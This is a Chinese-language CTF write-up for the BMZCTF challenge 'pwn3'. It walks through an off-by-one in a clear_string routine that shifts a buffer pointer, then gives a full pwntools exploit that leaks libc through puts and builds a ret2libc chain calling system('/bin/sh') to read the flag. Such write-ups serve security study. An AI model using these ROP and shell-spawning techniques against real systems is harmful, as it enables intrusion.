[BMZCTF-pwn] 25-pwn3

第三题的难度就突然上来了。程序先是个菜单,有好向项都没用;smsg先调用clear_string然后问是否发送,输入Y就退出循环

int smsg()
{
  char v1; // [rsp+7h] [rbp-59h] BYREF
  void *buf; // [rsp+8h] [rbp-58h] BYREF
  char v3; // [rsp+10h] [rbp-50h] BYREF
  int v4; // [rsp+5Ch] [rbp-4h]

  v4 = 0;
  v1 = 78;
  buf = &v3;
  while ( v1 != 89 )
  {
    clear_string(&buf, v4);
    printf("|\n`->");
    v4 = read(0, buf, 0x40uLL);
    do
    {
      printf("Send?(Y/N)");
      __isoc99_scanf(" %c", &v1);
    }
    while ( v1 != 89 && v1 != 78 );
  }
  return puts("Sent.");
}

clear_string听上去像是清0,但是一般清0都用memset所以这里肯定有问题。看前边v4=0然后就一直没动过,所以传入的参数a2始终是0,这个for循环会运行1次。

*(*a1)++这个会先执行*a1++再执行*,也就是每次运行这个buf指针会加1。

_QWORD *__fastcall clear_string(_QWORD *a1, int a2)
{
  _QWORD *result; // rax
  int i; // [rsp+18h] [rbp-4h]

  for ( i = 0; i <= a2; ++i )
    *(_BYTE *)(*a1)++ = 0;   // a2=0,执行一次 *buf++;再作 *buf=0 会导致buf指针下移1字节
  result = a1;
  *a1 -= a2;
  return result;
}

这个问题解决了就好办了,每次写之前先执行smsg(N)0x57次将buf指针加1....直到可以溢出位置再向里写放payload

原来buf是指向v3的,这个v3向下0x50是rbp再向下就是函数返回地址了。

完整exp

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('www.bmzclub.cn', 21355) 

libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context(arch = 'amd64', log_level = 'debug') #

def smsg(send=b'N', data=b'A'):
    p.sendlineafter(b'->', data)
    p.sendlineafter(b'Send?(Y/N)', send)

def send(msg):
    p.sendlineafter(b'>', b'smsg')
    for i in range(0x57):
        smsg()  #(*buf)++
    smsg(b'Y', msg)

pop_rdi = 0x000000000040155b # pop rdi ; ret
main    = 0x4013fa
payload = flat(pop_rdi, elf.got['puts'], elf.plt['puts'], main)
send(payload)
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

payload = flat(pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system'])
send(payload)

p.sendline(b'cat /flag')
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值